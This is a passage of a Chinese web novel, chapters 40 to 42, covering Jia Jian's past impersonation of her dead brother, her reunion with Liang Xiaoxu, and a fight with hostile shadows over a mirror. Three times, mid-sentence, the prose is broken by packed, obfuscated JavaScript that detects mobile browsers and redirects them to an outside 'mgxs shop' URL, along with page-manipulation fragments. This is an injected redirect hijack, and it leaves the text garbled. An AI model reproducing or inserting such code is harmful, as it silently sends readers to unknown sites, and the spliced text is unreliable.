是不久前法庭上那个苍白阴郁的贾纯,却又截然不同。这是尚未被阴影浸透的贾纯。 叶抒年举着这张照片端详半晌,又看了看相框原本摆放的位置,心底忽然升起一丝不好的预感。 她急忙抠开相框背面的卡扣,将那张照片取了出来。 照片翻到背面。 那上面写着一行字: 爱子贾纯逝于新历36年冬。 音容宛在。 40. 第40章 梁小絮受伤的具体时间她已然不记得,但她依稀记得,那是新历37年。 叶抒年整个人愣在原地,许久没能缓过神。直到俞不晚的手搭在她肩上。 “怎么傻站着?” 她将照片递给对方,示意俞不晚自己看,而后疾步走向梁小絮。 “小絮,你……” 她本不想提起那件令对方伤心的事,但如今这个谜团越来越大,她已经被这接二连三的反转刺激得头皮发麻,咬咬牙还是问出了口。 “你当年受伤,究竟是怎么一回事?” 梁小絮似乎已经在重塑肉身后释怀了当年种种,此刻提起,也不甚介意,坦然道:“当时是个意外。” 那年发生的变故太多,以至于她们都猝不及防。 一切始于前一年那场车祸,贾家的小儿子没了。这件事像一记闷棍,砸碎了那个本就拮据的家庭里最后一丝温存。 贾父贾母一时间宛如失了神智,人前沉默,人后崩溃,连楼下小卖铺老板养的阿花见了他们,都要竖起尾巴绕道走。 在那起车祸发生前,贾笺在冬日里穿着单薄的旧校服。家中积蓄不多,只够给弟弟添一件新棉袄。 在那起车祸发生后,贾笺得到了一件棉袄。弟弟的棉袄已经被洗得发白,到了她手上,就成了新衣服。 对此她必须感恩戴德。 她也的确感恩戴德。 贾笺穿上新棉袄,拿起剪刀,对镜铰去了长发。发丝纷纷落下,镜中那个眉眼柔和的少女轮廓渐渐淡去。 她在父母欣喜的目光里,仔细端详弟弟的旧照,日复一日。 直到某天清晨,她从镜面里望去,恍惚觉得那个早该离去的人,正沉默地回望着她。 贾笺摇身一变,成了贾纯。 起初她知道自己不是贾纯,可爸爸妈妈说她是。 后来她也觉得自己就是贾纯,可她看到,在那座法庭上,爸爸妈妈说她不是。 他们说她是凶手。 得知了这件荒唐事的梁小絮,在灯塔下找到半夜不肯回家的贾笺,质问她为什么堕落,为什么要相信那个画面,那分明不是真实发生的事情,只是不知从哪来的可疑人士展现给她的幻象。 可贾笺站在灯塔光锥的边缘,半边身子浸在黑暗里,说那就是真的。 “不管你信不信,百年后的这片土地上会出现那样一座法庭,而我的父母背叛了我。” 她毅然决然,她亲眼在一位陌生人的引导下看见了那样的场景。 那画面清晰无比,细节历历在目,这总不可能是魔术,世界上没有这样的魔术。她姑且相信这是一种超越认知的力量,那么,她也相信那个陌生人的话。 那人告诉她,用不了多久,世界将迎来终结,只有五分之一的人能从那接连的浩劫中存活。届时她自然会相信,她所见到的百年后的画面也会成真。 她不介意将这一切都告知于梁小絮,毕竟这是她最好的朋友。 她还计划带着对方一起逃跑,提前为即将来临的世界末日做准备。 可惜梁小絮不信,她甩开贾笺的手,说你再这样胡言乱语,我们就绝交。 从那以后,她们很长一段时间不曾说过话。 直到新雪再一次降临。 梁小絮最终还是不忍心看这位昔日挚友一天天消沉,在放学后主动找到贾笺。 “你别再剃头发了,也别再穿这件棉袄了,你跟我回家吧。”她看着眼前这位被磨灭了意气的少女,心疼不已。 尽管好些日子不说话,她仍旧偷偷关注着对方的动向。 因此她知道,贾笺虽然仍是贾笺,却已经活在了已故之人的阴影里,成为了贾纯的影子。 她认识的贾笺,会指着灯塔对她说:“这不是个好东西。它看似在为行人指路,实际上每天依然有人在它的照射的范围内迷路。灯塔的光明是虚假的光明,真正的路在自己心中,在自己脚下。” 而不是现在这样,音容笑貌都像极了已故的弟弟。 但贾笺只是掀起眼皮看了她一眼,对她说:“你凭什么管我?” 很好,这句话也像极了那个弟弟。 梁小絮被气得不轻,扔下人扭头就走,在心里发誓一周内不再跟这个犟种说话。 大概是她这回真的动了怒,脚步声里都带着火星子,竟也把身后那人给慑住了。 没走出几步,她便听见身后传来急促的脚步声。 但她才不会这么轻易原谅对方,至少要让这个人长点记性,然后乖乖跟她回家。 于是她任由对方在自己身后唤了一路。穿过空旷的走廊,走出教学楼,直到站在家门口的小巷子里,才停下来。 那之后的事情,如今想来依然记忆犹新。 她们再一次爆发了争吵,起因是贾笺不愿意跟她回家,后来具体吵了什么,她已记不清。 只记得自己一气之下拽着对方,决定直接把人拉回家,这反应却让对方出于自我防卫而推了她一把。 后来的事,她全然不知,只知道在医院醒来后,被告知自己可能再也无法登上舞台…… 这段往事被全盘托出后,全场安静得连根针掉在地上都能听见。 “天姥姥……”良久,叶抒年终于发出了第一声感叹。 “别再耍我了……”林煦言紧跟其后。 这对吗? 事情的真相难道不是贾纯这个狗东西害得花季少女失去梦想吗? 怎么可以一而再、再而三地反转,反转到现在,她们连震惊的力气都耗尽了,只剩下麻木。 “如果这才是真相,那贾纯是谁?”感慨过后,叶抒年随即想到了更重要的问题。 如果将梁小絮推下小坡的人是贾笺,那么坐在被告席上的那位是谁? 被她审判、又在禁区内跟随她们走了一程的那位是谁? 亲眼目睹梁小絮跳完一支舞、而后重塑肉身的人又是谁? 还能是谁? “……你刚才有没有看到贾纯朝哪个方向离开了?”叶抒年忽然转头问梁小絮。 她现在知道贾笺在哪了。 合着她们费劲千辛万苦要找的人,其实一直近在眼前! 可那已经是一小时以前的事了,从她们第一次告别梁小絮后,就再也没关注过那个人,此时谁也不知道那人已经躲到了哪里。 “什么贾纯?”梁小絮微微蹙眉,眼眸里浮起真实的困惑,“他也来过吗?” 俞不晚已经反应过来叶抒年话里的意思,震惊之余磕磕绊绊地问梁小絮:“不是……你之前没见到他吗?就贾纯啊,或者我说得更准确一点,假扮成贾纯的贾笺。原本跟我们一道走的,今天清晨我们离开的时候,她没跟上来,就留在你身边了啊。” 这话似乎让梁小絮更加疑惑了:“自始至终,不是只有你们五个人吗?” “……” “哈哈……”叶抒年这下真的被气笑,如果不是看到身边其他四人跟她是同一副表情,她此刻要怀疑自己是不是疯了。 其他几人也全都看到当时的贾纯了,这说明并不是她的幻觉,现在想想,她倒是发觉原来一切都有迹可循。 怪不得当时,萧千复看到她身旁一身伤的陌生少年,一点反应都没有!怪不得梁小絮重塑肉身后,头也不回地与贾纯擦肩而过! 原来自始至终,只有她们五个人能够看见。 原来梁小絮当时眼神一扫而过的,并不是那个残害过她的凶手,而是穿过那个不存在的人,落在她们五个身上。 叶抒年累了,一屁股坐在餐桌旁的歪腿座椅上,重新开始梳理思绪。 她原本以为已堪堪触到真相边缘,离破局只差临门一脚,可此刻地基被整个掀翻,她不得不从头再来。 好在这次有了新线索的支撑,推演起来反而顺畅不少。 她保留了部分先前的判断:第一次回溯无疑是幻象,而第二次,恐怕她和阮天清那组,与俞不晚所抵达的,根本就是两个截然不同的时空。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147521|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真正踏进百年前那个雪夜的,只有俞不晚和林煦言。 至于她和阮天清所见的场景,无论是更早的过去,还是另一重精密的幻象,此刻都已不再重要。 重要的是,她现在可以确定,俞不晚在雪夜回溯中见到的那个少年,就是那条时间线上真实的贾笺;而昏暗楼道里提着刀的杀手,则是跨越了时间存在至今的贾笺。 那座法庭牵扯的时间线太过盘根错节,叶抒年暂且不确定那里面究竟还掩埋着多少秘密,但她已能大致拼凑出贾笺如此行事的动机。 一个本性温柔、甚至愿为家庭牺牲的女孩,在父母因弟弟身亡而濒临崩溃时,选择剥去自我,陪他们上演一出死者复生的荒诞戏码。 她剃发,易装,笨拙地填补那个空缺。可无论她模仿得多么尽力,终究是徒劳。 父母骗不了自己,她也骗不了自己。她知道自己是谁,却又实实在在,活成了别人的影子。 这是她痛苦的第一重根源。 她本可藉由梁小絮的陪伴获得些许慰藉,可命运偏不放过她们。 那个年纪的她们还不具有成熟解决问题的能力,因此误伤了彼此,让一次意外争执演变成无法挽回的伤害。 贾笺再也无法面对那个既毁掉了挚友梦想、又弄丢了自我的自己。 她痛恨自己。 那份无处安放的悔恨,最终将她引上了一条偏执的赎罪之路。 她将自己伪装成一个穷凶极恶的嫌犯,一次次将自己送上被告席,任由后来闯入法庭的审判者们,反复裁决过去的自己。 仿佛只有这样,才能稍稍抵消她带给梁小絮的伤害,才能让那颗被困在少年时代的心,获得一丝喘息。 “可她为什么要在第二次回溯中杀人?” 阮天清深深地看着讲述完这一切的叶抒年,提出了这个悬而未决的疑问。 “如果我没猜错的话,”叶抒年转头看向俞不晚,“你们那晚在楼道里看到的死者,身着一件浅色棉服,那是镇上工厂发给工人的统一服装。” 俞不晚皱眉回忆,眼睛慢慢睁大:“好像还真是,你怎么知道的?” “猜的。”叶抒年没有继续解答前面的问题,而是反问梁小絮,“小絮,你和贾家比较熟,之前有没有听说过贾父患有某种心脏疾病?” 梁小絮肯定地摇摇头:“没有,叔叔身体一直很好。” 这个答案并未让叶抒年意外,她长舒一口气:“楼梯间内,那个躺在地上的被害人,就是贾笺的父亲。” 她清楚地记得,当她们四人从那次雪夜回溯中重返法庭时,那位原本好端端站在证人席上的贾父,忽然之间像是心梗发作栽倒在地。 那时她以为,这人只是无法承受儿子被定罪裁决的打击,急火攻心。可当贾笺的过往一层层剥开,她得到了启发。 贾笺所做的一切都具有明确目的,她想疗愈那场贯穿了百年的创伤。 为此,她选择了用审判的方式来惩罚那个伤害了梁小絮的自己。 那么,对于那些曾以另一种方式更深地伤害了她的人呢? 或许,最初的贾笺并没有那么决绝。她创造了这样的情景,心中还抱有最后一丝残念,期望父母能够有一次站在自己这边。 可是曾经见到的预言却成真了,她的父母非但不为她辩解,甚至迫不及待地将她指认为真凶。 多可笑,他们甚至没有去质疑那起舞台坍塌的案件是否真实,就这样草率地将女儿推了出去。 那一声指认,恐怕彻底掐灭了她心中最后的期盼,也点燃了积压百年的愤怒。于是在第二次回溯时,她跟着俞不晚一同踏入了百年前那个雪夜。 她用一把刀,斩断了前尘。 “事到如今,我只好奇一件事。”叶抒年忽然说。 众人纷纷看向她,目光里还残存着听完全部故事的悲恸。 只听叶抒年缓缓道:“贾笺在百年前,就得知了未来即将发生的事。那个告知她这一切的人,是谁?” 41. 第41章 一瞬间,所有人又将目光聚向梁小絮。 少女却只是坦诚地摇了摇头:“我也问过小笺同样的问题,可她说她也不知道。那人出现时蒙着面,她连对方是男是女、是老是少都没看清。” 好吧。叶抒年略有些遗憾地垂下头,但此刻毕竟还有比这更重要的事情,她很快又抬起头。 如今贾笺的往事总算厘清,少女深埋百年的心结也已了却,那么,她到底要什么时候才愿意现身? 夜她分明亲眼见证了挚友重获新生,难道不该欣喜,不该上前相认吗?为何最终却选择了偷偷离去? 叶抒年搞不懂。实在是搞不懂。 眼看着好像真的无计可施,她深吸一口气,忽然转身,朝那扇布满尘垢的窗户走去。 “怎么了?” 阮天清看着她从自己身前经过,脸上一副混合着决绝与破罐子破摔的神情,以为她又有了什么新的计划,下意识想跟上去。 却听叶抒年“唰啦”一下拉开窗户,朝外大喊:“贾笺,我真的求你了!” 阮天清:“……” 我们这样装疯卖傻真的能取得贾笺的帮助吗? 答案应该是否定的,叶抒年自己也清楚,她刚才这一嗓子,其实是压力太大想要放松一下。 然而事情的发展却有些超出了她的预料。 “吱呀——” 身后忽然传来门开的声音。 她下意识转头,只见一个几乎被纱布裹满全身的人,从一旁的小房间里淡定地走了出来。 赫然是前不久消失的贾纯。 或者说,贾笺。 “找我有什么事么?” 明知故问。 叶抒年看着眼前沉默伫立的身影,想起不久前这人还装出一副惶恐瑟缩的模样,混在队伍里,眼睁睁看着她们为了界碑焦头烂额,心里就一阵憋闷。 这女孩是真沉得住气,也真能演,不愧是能干出那些大事的人。她先前居然还担心对方会被陌生人骗…… 她刚想开口,为当初在法庭上,自己亲手落下对“贾纯”的判决,害得对方此刻不得不裹着纱布行动这件事,道个歉。 尽管她仔细打量后,并没在那层层纱布下看到任何渗血的痕迹,连对方脸上那些青肿似乎也淡得快看不见了。 一旁的梁小絮却抢了先。 横亘百年,这算是她第一次正式与故人重逢。 对她而言,那些过往的怨艾,早已在她挣脱枯骨时便已释然。当年的事她们都有错,既然都已付出代价,索性不必再提。 于是,当她见到对方身上裹缠满纱布的那一刻,几乎是不假思索地冲上前。 贾笺的眼睛还落在叶抒年脸上,身体却自然地朝冲过来的人张开了双臂。仿佛这件事早已吸烟刻肺,融在了骨血里。 梁小絮如愿以偿地撞进了那个怀抱。她不敢用力,手臂虚虚环着,脸颊小心地贴在对方肩头的衣料上。 “你……还疼吗?” “有点疼。” “你之前在林子里为什么不肯见我?” “……当时还有点事没处理完。” 一开始被揍得鼻青脸肿,不适合故人相认。 后来身上的伤随着梁小絮的重生而好全了,她又近乡情怯。 “容我冒昧地打扰一下——” 在二位小姑娘手拉手一刻也不愿分开、正是浓情蜜意的时候,叶抒年非常没眼力见地出来打断了片刻温存。 倒不是她存心破坏气氛,实在是时间有点来不及了。 窗外,晨光已经足以凝成一缕,照亮这一隅温室。同时这也意味着,留给她们寻找界碑的时间不多了。 她迫不及待地问:“小笺,你知道界碑在哪吗?” 屋内瞬间安静下来。连窗外偶尔飞过的鸟儿,都仿佛在屏息等待答案。 只见贾笺暂时松开了怀中的人,缓缓道:“知道。” 说罢,她又补充,“不过我暂时没法帮你们。” “没关系,你只需要告诉我们它在哪,我们可以自己去找!”俞不晚在一旁安分了很久,这会儿彻底憋不住了,差点急得跳起来。 这个问题似乎难倒了贾笺,她思考了一会儿,才说:“其实,远在天边近在眼前。” 林煦言简直要给这位姑奶奶跪下:“姐你别绕弯子了,先让我们找到界碑出去,回头我给你们送好吃的行么?或者你们可以来我家玩,我哥长得可帅了……” “我就是界碑。” 林煦言:“……?” 你是什么! 叶抒年花了好一会儿才理解现在的局面,她听完贾笺进一步的解释,最终总结道:“你是说,当年那个神秘人,后来又找过你一次,说可以给你赎罪的机会。但是作为代价,你要成为这片禁区的界碑,以这种形态存在,直到赎罪的时机来临。” 贾笺点点头。 “可是这和你暂时不能帮我们有什么关系?难道你现在已经赎罪完毕,界碑的职责自动解除,无法再变回去了?” 贾笺又摇头:“倒不是这个原因。这事说起来有点复杂,界碑是贾笺,但我目前不是贾笺。只有我变回贾笺,我才能化身界碑放你们出去。” 如果说刚才众人只是稍有不解,那么此刻,几人的疑问更是达到了顶峰。明明说的是人话,怎么就是听不懂呢? “你不就是贾笺吗?”叶抒年已经快被这破禁区逼到绝望。 贾笺却坚定地说:“我也觉得我是,可禁区说我不是。” 禁区破事真多。 不过叶抒年懂了。她看着眼前这位短发少年,明白了禁区的意思。 贾笺过去的心结虽然已经解开,可她的形貌依然凝固在扮演弟弟的那一刻,这并非她本来应有的面貌,因此禁区不承认她是贾笺。 除此之外,眼前的画面似乎还有些奇怪…… 叶抒年若有所思地朝旁边挪了两步,调整了站位。更充沛的晨光立刻穿过窗户,洒在贾笺身上。光勾勒出她纱布边缘的毛糙,照亮她低垂的睫毛,也让她整个身形显得愈发虚幻,甚至透明。 而她脚下的地面上,却空无一物。 连影子也没有。 这局面似乎有些棘手。 “你之所以无法变回去,是因为你没有影子吗?”叶抒年盯着那片异常干净的地面问。 贾笺无奈道:“嗯。我的影子……在禁区诞生之初,或者说,在我成为界碑的那一刻,就与我分离了。她不愿意。” “她不愿意成为别人的影子,也不愿意成为界碑的一体,不得自由。”贾笺说着,声音里染上一丝歉疚。 “自由?难不成你的影子如今自由了?难道她可以脱离你这个本体而独立存在?”叶抒年捕捉到了这个关键词。 “应该是吧。不过,我已经很久很久没有见过她了。” 叶抒年急忙追问:“你知道她是怎么脱离你而独立存在的么?有没有什么办法找到她?” 贾笺沉默片刻,大约是在记忆中搜寻可行的方法。 “有个办法能让她回来,但我需要的工具……这里没有。” 俞不晚立刻双眼放光:“你需要什么?我们帮你去弄来。” 只见贾笺抬起头,目光穿过众人,望向房间内一面布满裂纹的旧穿衣镜。 “我需要一面完好的等身镜。”她说。 “等身镜?” 阮天清下意识重复,开始思考该上哪去弄到这么个东西。003号禁区经过多次开发探索,剩下的物资本就不多了,何况是这种日常生活用品。 “对。”贾笺的目光依旧停留在那面残破的镜子上,斟酌着措辞。 “影子诞生于光与物的交界处,那个交界本身可以视为一种最基础的影域。即便是已经逃离本体的影子,也会本能地受到这类区域的吸引。” 说完,她又指向镜面:“而镜像和影子在本质上同源,它们都是由本体投射出的另一面。一面足够大的镜子,不仅能复现光影的交界,还能呈现出与本体完全对应的镜像。当这个镜像出现,就会在现实世界中形成一个信号源。 所以,当本体站在镜前,就等于同时激活了这个信号。对于游离在外的影子而言,这种信号会产生无法抗拒的吸引力。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156634|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “到时候,我们就可以抓住你的影子?”叶抒年问。 贾笺摇头:“抓不到的,只能寄希望于她自己的意愿。希望她看到如今的我,愿意主动回来。” “没问题的!”叶抒年摩拳擦掌,心中已经燃起熊熊的胜利火焰,志在必得。 她知道上哪可以找到这么一面镜子。 半小时后,几人顶着越爬越高的旭日,停在了一栋小屋前。 屋顶的风车还在吱呀吱呀地转悠,姿态虔诚,仿佛已经在这里等待主人许久了。 “我就知道在这儿装个风车是有必要的!”叶抒年神神叨叨,为自己的先见之明感到庆幸。刚才她们这一路循着风车的声音找来,几乎没走弯路。 说着,她上前拉开屋门,正想进去将那面小屋原主人留下的镜子搬出来,却在看清屋内景象的瞬间,愣在了原地。 屋内密密麻麻,布满了黑影! 它们大多数立在墙面上,少部分瘫倒在地,空中还萦绕着缕缕肉眼可见的黑气,仿佛这里刚刚经历了一场恶战。 更糟糕的是,叶抒年低下头,看见了自己的影子。 她自己明明还握着门把站在门口,地上那黑影却呈蹲伏姿势,手里还多了把刃状的暗影,尖端正对准她的咽喉。 “小心!” 一道焦急的声音自她身后响起,一扫先前屡次对话时的清冷。 她腰上一紧,整个人被凌空带起,几乎同时,地上那黑影手中的刀刃刺过她刚才站立的位置! 另一边,阮天清和俞不晚也已出手。 俞不晚抬手就是一阵点射,枪口迸出火星,在翻涌的尘灰里格外刺眼。 而阮天清侧身将贾笺和梁小絮拦到身后,另一只手握住利刃,防备着随时可能出现的敌人。 这及时的掩护让叶抒年心神稍定,可安定只持续了一瞬。她忽然觉得脚下一寒,低头便见自己的影子从地面暴起! 它紧贴地面扑来,宛如一道黑色闪电。对方手中的影刃挥出,冷光贴着她的脚踝划过,裤腿瞬间绽开两道裂口。 寒意未散,她还没来得及后撤,腰肢便被一条坚实的手臂再次箍住,猛地向后带去。 站稳后,叶抒年堪堪抬头,一眼便看见那位检察官的脸。他正站在距她不到一尺的方位,将她牢牢护在身侧与门框形成的夹角里,用自己的后背隔开了大部分攻击角度。 “在这里躲着。”他轻声道。 话音刚落,人就迎向那道再度扑来的黑影。 他手中并没有利器,只有指间一抹不起眼的冷,像是特制的指虎。然而,他的每一击都分外精准,带着破风声直取影子各种关节,逼得对方连连闪躲。 殊不知,这是对方声东击西的套路。原本护在叶抒年身前的人被引开,她就又沦落回毫无防备的状态。 但她已经反应过来局势的骤变,连忙从储物空间里取出一架先前从联邦那捡漏来的不知名枪炮。 这东西对她来说完全陌生,也是叶抒年穿越以来第一次用枪。实物抗在肩上的那一刹,她经不住重负,身形晃了晃,但很快又调整回来,站稳了脚跟。 就在这时,她眼角余光瞥见屋内又涌出三四道黑影,正齐齐向检察官包抄而去。 那人格挡的动作依旧利落,指虎划出的寒光密不透风,却在黑影骤然的合击下,被迫向后撤了半步。 这一步退得很有分寸,刚好让一道影子擦着他肩侧掠过。在旁人看来,他仿佛已经力不从心。 叶抒年心头一紧,不假思索抬枪扣动扳机。 “砰!砰!” 后坐力撞得她肩骨发麻,弹道却偏得离谱,只啃掉墙角一片灰泥。 这枪太不给面子了,叶抒年暗忖。 眼看黑影攻势越来越急,她索性两步抢上前,双手抡起沉重的枪身,也顾不得什么章法,照准最近那道影子的头部狠狠砸了下去! 这招有效,只见那只影子双手抱头蹲了下来,像是吃痛后找不着北。 叶抒年立即找准角度,又对着那东西补了两脚。 “连这两下都挨不住,干嘛学人家搞偷袭!” 42. 第42章 “年年,到我身后来!”不远处墙角传来阮天清的呼唤。 叶抒年朝那边望了一眼,看见阮天清凌空将一道黑影劈落。 那影子触地即伏,手中赫然攥着与阮天清分毫不差的短刀。动作稳准狠,连握刀的姿势都如同复刻。 她这才反应过来,阮天清的影子也叛变了。 不止阮天清。她又飞速扫视一圈,发觉在场的,除了贾笺与梁小絮二位之外,所有人的影子都开始不受本体控制,正以各种方式攻击本体。 本体手中有武器的,影子也复制着相同的武器;本体手中没有武器的,影子便从地面钻出,拽着人的脚踝往下拖。 就在这时,不远处又传来一声闷哼。 叶抒年刚躲开门口窜出的袭击,便瞥见阮天清在缠斗中,被另一道自屋后绕出的影子偷袭,手臂上豁开一道鲜红的口子。 鲜血瞬间洇透衣袖,阮天清却连眉都没皱,反手就将短刀深深扎进偷袭者的胸膛。 黑影溃散,她却看也不看,只甩了甩溅血的手腕。 看上去,对方并没有将这点小伤放在心上,叶抒年却还是心中一紧。 她下意识朝那边走去,试图帮忙分担一下压力,手腕却被一道力量拉住。 “现在的当务之急是拿到那面镜子,否则治标不治本,你只能帮她们拖延一时。” 清冽的声音从头顶传来,叶抒年止步,对上检察官认真的眼神。 他的手仍握在她腕上,掌心带着搏斗后的灼热,透过皮肤直抵脉搏。这感觉很陌生,叶抒年能察觉到对方指尖有一层薄茧,此刻正微微用力,压住她试图挣动的趋势。 而那人略低下头,距离不远不近,刚好能让她看清他额角一道细小的擦伤,还有眼底清晰的倒影。 那里映着她自己有些发怔的脸。 叶抒年猛地抽回手,腕间那圈残留的温热让她不由得别过脸去。 这人刚刚说的不无道理,也的确是站在大局观上考虑。 如今的情况是,影子的数量远多于她们。而她们现在只知道影子能被攻击,却不知道该如何彻底杀死它们,也不清楚这些东西接下来还会使出什么招式。继续耗下去不是办法。 更何况,她们之前听萧千复提过,这些影子异常难缠,一旦碰上,基本只有死路一条。 叶抒年不想冒险尝试。眼下最佳的方案只有一个,便是赶紧拿到那面镜子,让贾笺找回自己的影子,然后放她们离开这里。 于是她不再犹豫,目光锁死门口。 刚才大批影子已经涌出,此刻屋内所剩的应当不多。她有胜算。 临动身前,她反手探向储物空间,摸出一个扁平的医药盒,扬手抛向阮天清的方向:“清清,先止血。” 待对方接住后,她矮身撞进门内,视野瞬间暗了下来。 窗玻璃透进的微光里浮动着细密尘埃,而那面镜子就立在最深处的墙边,蒙着灰,边缘泛着冷光。 叶抒年刚踏出两步,左侧墙上的阴影便忽然滑落,凝成一道人形,手中刀刃直刺她肋下。 她正要架枪格挡,一道锐光忽从她身侧掠过,精准截住那影子。 她闻声回头,看见检察官已贴在她左后方半步。 “你向前,两侧交给我。” 没有时间推拒。叶抒年点头,继续朝镜子冲去。 身后接连传来密集的金属撞击声。她不回头,但能感觉到那人移动的轨迹。 对方始终护在她身后与侧翼,将扑上来的影子尽数挡开。他的脚步很稳,甚至刻意控制着节奏,与她保持固定距离。 就在叶抒年心里稍微安定时,两道影子忽从正面天花板扑下。 叶抒年举枪横扫,砸散一团,另一道却灵活避开,手持刀刃划向她脖颈。 她没经历过专业训练,也没多少近战经验。刀刃破风的寒意逼近时,她大脑甚至空白了一瞬。 可身体却自己动了。 腰肢后折,险险让那道冷光擦着下巴掠过。动作快得她自己都惊讶不已,仿佛这具身体里还沉睡着某种惯于厮杀的本能。 落地时她踉跄半步,但手已经下意识反握枪托,狠狠朝后抡去!金属砸中追来的影子,闷响声中黑雾四溅。 恰在这时,检察官的指虎撕裂了另一侧扑来的黑影。他侧目扫她一眼,没说话,但眼中掠过激赏的神色。 “别停,你刚才做得很好。” 他声音里毫无意外,仿佛早料到她会这么做。 叶抒年握紧枪身,心跳依然很急,但不是因为怕,而是感到某种陌生的兴奋在血管里苏醒。仿佛时隔多日终于见到久违的故人,尽管她自己并不知道这种感觉从何而来。 她深吸一口气,目光重新锁向前方的镜子。 此刻的她距离镜子只剩几步之遥,但就在这么一小段距离内,地面上黑影重重,至少七八道人影正聚成一团,蠢蠢欲动。 刚才手中的枪被她用来当沙包使,这会儿枪体表面已经裂开一条缝,精准度可能有所下降。 叶抒年想了想,左手一翻,从储物空间里又掏出一件东西。 这回是把小型手枪。她没用过这个,穿越前摸过最相似的东西只有儿童水枪,想必接下来子弹能飞到哪里全凭运气。 但此刻没有比这更好用的武器了,而第一道影子已扑到面前。 她抬手,凭着本能扣动扳机。 “砰!” 子弹竟精准地穿过那道影子的脖颈,黑雾在空中断开一道缺口,开始缓慢地自我修复。叶抒年自己都愣了一瞬,想不到她在这方面还小有天赋。 “你的两点钟方向。” 检察官的声音从身后传来,冷静的同时还带着点与后方黑影搏斗的喘息。 她依言将枪口右移,看也没看便是一枪。又一道影子踉跄后退。 “右前,膝盖。” 她再次调转枪口,子弹呼啸喷出,命中了那团正要扑起黑影的腿部,它顿时矮下半截。 配合得还不错,叶抒年暗暗地想。这个人在不装酷的时候还算靠谱。 接下来的几分钟内,两人不断配合着与屋内的影子周旋。起初,叶抒年枪枪命中,可这些影子好似在刚才的试探后摸清了她开枪的习惯,开始忽左忽右地腾挪,也丝毫不落下风。 子弹擦着黑雾掠过,在墙上凿出深浅不一的坑洞。 时间在双方拉扯中一点点流逝,叶抒年换了三次弹匣,掌心被枪柄硌得生疼,却依然没能向镜子逼近半步。 那些影子如同粘稠的液体,退开又涌上,始终横亘在她与镜子之间。 恰在这时,窗外传来一声惊叫。 “啊!” 是林煦言。 叶抒年眼角余光扫过窗玻璃,心跳骤然停了一拍。只见林煦言的一条腿,已经齐膝没入了地面,两只漆黑的影手正死死拽住他的腰,向下拖去! 不能再耗下去了! 叶抒年牙关一咬,将手枪收回储物空间,后退半步,随即用尽全力向前蹬地! 她的身体腾空而起,堪堪掠过地面的几道影刃,如同被风托起一般,跨越了最后几步的距离。 最终她足尖在镜台边缘一点,整个人落在镜子正前方。手一触到镜框,她立刻心念一动,将它收入储物空间。 与此同时,她的这一行为似乎彻底触怒了这些影子。它们陡然发出尖啸,从墙壁、地面以及天花板的每一寸阴影里,同时暴起! 黑影化作无数尖刺与利爪,从四面八方,朝着刚刚落地的叶抒年,铺天盖地地绞杀过去,瞬间将她吞没在绝对的黑暗中心。 当最后一丝光亮从视野里被抹去的刹那,叶抒年想,自己大概真要交待在这里了。 刚穿越没多久,连荒芜地那套沙景房的沙发都没坐热,就要与它挥手告别了么? 才不要! 她反手再次探入储物空间,这次摸到的物件沉实趁手。 正是初来这世界时,系统赠予的那柄大铁锤。 如今这些影子从四面八方涌来,她用枪难免周转不开。 而她握紧锤柄,腰身猛地发力,将铁锤在空中抡开一圈。 沉重的破风声炸响!扑得最近的几道黑影如遭重击,骤然向后溃散半步,包围圈硬生生被砸出一隙松动。 就这一隙之间,有光漏了进来,宛如一条金线,将她的目光牵引向那个方位。 叶抒年眼神一厉,将仅剩的所有力气贯注双臂,锤头对准那线光亮的边缘再次狠狠砸下! “轰——!” 那线光亮骤然扩张,撕裂了浓密的黑暗。影子似乎被这拼尽全力的一击震慑,纷纷退避三舍,露出外界模糊晃动的天光。 这光刺破黑寂,迷蒙了叶抒年的双眼,使她一时无法适应。 然而就在这裂缝中央,她看见一只手穿过那片朦胧伸了进来。 那手还沾着血污与尘灰,似乎刚刚经历了一场苦战,此刻却毫不犹豫朝她的方向抓来。 叶抒年只感到自己的腕骨被人捉住,烙下一圈温热汗渍,紧接着眼前画面一转,她整个人被从影子的包围里拽了出去! 天光惹眼。 她跌进一个宽阔的怀抱里,冷冽气息铺天盖地而来,但那怀抱仅仅承住她一瞬,便立刻发力将她向外推去。 叶抒年脚下不稳,向后跌了两步,背脊重重撞上门框才勉强站住。 仓促间她抬起头,却见检察官已被重新合拢的黑影吞没。他陷在中间,指虎冷光在浓墨般的黑影里忽明忽灭,像快要熄灭的希望。 但他带着急促喘息的声音从缝隙里传来:“快出去!去帮你的朋友。” 这句话重新将叶抒年压入紧张之中。按理说她此刻应该抓紧时间出去,将镜子交给贾笺,可她看着为了帮自己脱困而陷入围剿的人,不合时宜的歉疚使她双腿瘫软,一步也走不动。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170698|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 